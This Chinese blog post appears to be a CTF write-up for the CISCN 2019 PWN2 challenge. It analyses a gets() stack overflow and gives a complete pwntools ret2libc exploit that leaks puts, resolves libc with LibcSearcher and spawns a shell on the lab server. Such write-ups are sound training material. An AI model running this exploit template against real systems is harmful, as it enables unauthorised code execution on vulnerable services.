首页 > 其他分享 >[CISCN 2019东北]PWN2

[CISCN 2019东北]PWN2

时间:2024-03-25 16:22:17浏览次数:19  
标签:addr r15 undefined PWN2 db pop 2019 ret CISCN

image.png

下载好附件之后,先丢到 checksec 看一下开了什么保护

image.png

有栈溢出:Stack: No canary found

丢到IDE看一下

按 shift+f12 看一下字符串,发现没有system和/bin/sh
image.png
回到上方标签( IDA View-A )回到主界面按f5查看伪代码
image.png
发现encrypt()函数存在gets溢出
image.png
gets没有任何限制,但是储存用户输入的s只有50的大小,加上r的大小就能溢出
双击s查看

0000000000000050 s db 48 dup(?)   // s的大小只有50
-0000000000000020 anonymous_0 dw ?
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 db ? ; undefined
-0000000000000003 db ? ; undefined
-0000000000000002 db ? ; undefined
-0000000000000001 db ? ; undefined
+0000000000000000  s db 8 dup(?)
+0000000000000008  r db 8 dup(?) // r 的大小有8

开始构造第一个payload

因为这个程序是64位的,要查看指令地址
在kali里面运行命令:

ROPgadget --binary pwn --only "pop|ret"

得到结果:

Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret // 记住这个地址 0x400c83
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret // 记住这个地址 0x4006b9
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 15

构造payload
tips:因为gets的s参数的大小只有50,r的大小有8。这两个数值都是16进制,所以

b'a' * (0x50+0x8) # 溢出的大小 

完整exp

def payload(url, port):
    context(arch="amd64",os="linux",log_level="debug")
    elf = ELF('./pwn') # 文件的路径
    p = remote(url,port)
    # 指令地址
    pop_rdi_ret = 0x400c83
    ret = 0x4006b9
    # 查找地址
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    # 加密函数地址
    enc = elf.sym['encrypt']
    # 构造payload
    pd1 = b'a' * (0x50+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(enc)
    # 发送选项1,选择加密
    p.sendlineafter('choice!',str(1))
    # 发送payload到加密函数的输入上去
    p.sendlineafter('encrypt',pd1)
    # 找到libc地址
    put = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    print(hex(put)) 
    # 输出
    """ >>> 0x7f2961b099c0 """
    print('选择 libc6_2.27-0ubuntu2_amd64')
    libc = LibcSearcher('puts',put)
    libc_base = put - libc.dump('puts')
    # 获取system和sh
    def addr(hx):
        if hx == 'system':
            return libc_base + libc.dump('system')
        elif hx == 'str_bin_sh':
            return libc_base + libc.dump('str_bin_sh')
        hx = ''
    sys_addr = addr('system')
    sh_addr = addr('str_bin_sh')
    print(hex(sys_addr),hex(sh_addr))
    
    # 构造第二个payload
    pd2 = b'a' * 0x58 + p64(ret) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
    # 利用
    p.sendlineafter('encrypt',pd2)
    p.interactive()

if __name__ == '__main__':
    from pwn import *  # 导入pwntools库  
    from LibcSearcher import *  # 导入LibcSearcher库
    url = 'node5.anna.nssctf.cn:28174'  # 题目地址
    payload(url.split(":")[0], url.split(":")[1])  # 调用payload函数进行渗透

运行提示

image.png
image.png
看到有一排的a时,输入命令:ls
image.png
ls 运行完后 输出 cat flag得到
image.png

标签:addr,r15,undefined,PWN2,db,pop,2019,ret,CISCN
From: https://www.cnblogs.com/z3abcd/p/18094677

相关文章

  • P8687 [蓝桥杯 2019 省 A] 糖果
    题意:n个零食,每个零食有k种配料,一共有m种配料。问最少吃几包零食,可以吃到所有配料。n<=100,m<=20,k<=m。思路:最优化问题,如果n<=20可以直接bf,这里m<=20,对m进行状态压缩,正确的解法应该是线性dp+状态压缩。总结:很容易陷入一个哈密顿路径思路的误区中,在哈密顿路径中,一......
  • P5324 [BJOI2019] 删数
    P5324[BJOI2019]删数转化条件+线段树由于值域不大,并且删数操作跟序列顺序无关,只和每个数的出现次数有关,考虑在值域上分析删数操作。发现对于每一个值\(i\)可以抽象为覆盖了\([i-buc_{i}+1,i]\)的区间。要使数列删空,就要让\([1,n]\)被填满。这样我们就会发现答案就是\([......
  • RabbitMQ3.x之一_WindowServer2019中安装RabbitMQ详细教程
    RabbitMQ3.x之一_WindowServer2019中安装RabbitMQ详细教程文章目录RabbitMQ3.x之一_WindowServer2019中安装RabbitMQ详细教程1.安装环境说明1.WindowServer20192.ErLang与RabbitMQ对应版本2安装Erlang1.安装Erlang2.ErLnag环境变量配置3.查看是否安装成功3.安......
  • 2019 年互联网寒冬下IT程序员招聘行情招聘形势感受
        几次听到过一个段子:2019年可能会是过去10年里最差的一年,但却是未来10年里最好的一年。前不久在清华大学上课的时候我们一个教授(他参与当前国家经济政策制定的)也善意提醒我们未来几年花钱一定要紧,切勿乱投资。虽然这些说法或许有些过于绝对和悲观,但春江水暖鸭先知,相信说......
  • P5657 [CSP-S2019] 格雷码
    #include<iostream>#include<stdio.h>#include<algorithm>#include<string>#include<cmath>#defineFor(i,j,n)for(inti=j;i<=n;++i)usingnamespacestd;typedefunsignedlonglongUll;constunsignedlonglo......
  • Windows VS2019+opencv配置
    本文是VS2019和opencv4.5.5版本1、配置环境变量(可能用户变量也需要配置)2、打开VS2019添加新属性表,分别为Debud和Release添加3、选择新建属性表的属性,进行下图步骤注意:debug模式和Release模式配置不一样,需要单独配置,debug模式附加依赖项比Release模式多了一个“d”,De......
  • P5664 [CSP-S2019] Emiya 家今天的饭 题解
    题目链接:P5664[CSP-S2019]Emiya家今天的饭思路:显然可以算出总数减去不合法的,不合法即有一列超过一半,显然最多一列,枚举这一列。考虑dp,设\(f(i,j,k)\)表示前\(i\)个方法,\(j\)个这一列,\(k\)个其他列。但是这样是\(O(n^3m)\),我们需要优化。显然我们只关心\(j,k\)相......
  • 机试重点题-2019
    B:数字配对考察:map容器的应用#include<iostream>#include<algorithm>#include<map>usingnamespacestd;intn;map<int,int>mp;intmain(){cin>>n;for(inti=0;i<n;i++){inttemp;cin......
  • 【漏洞复现】1. WebLogic 反序列化漏洞(CVE-2019-2890)复现与分析
    文章目录1.基础知识2.复现2.1漏洞介绍漏洞影响版本:2.2漏洞原理分析2.3漏洞复现2.3.1环境搭建2.3.2漏洞验证2.3.3漏洞利用2.3.4POC分析2.4漏洞修复1.基础知识WebLogic是美国Oracle公司出品的一个applicationserver,确切的说是一个基于JAVAEE架构的中间......
  • Windows Server 2019 Oracle 19c Restore & Recovery
    RMAN>CONNECTTARGET/;RMAN>run{ SQL>shutdownimmediate; startupmountforce; startupmount; setuntiltime"to_date('2024-03-1905:36:58','yyyy-mm-ddhh24:mi:ss')"; restoredatabase; recoverdatabase; al......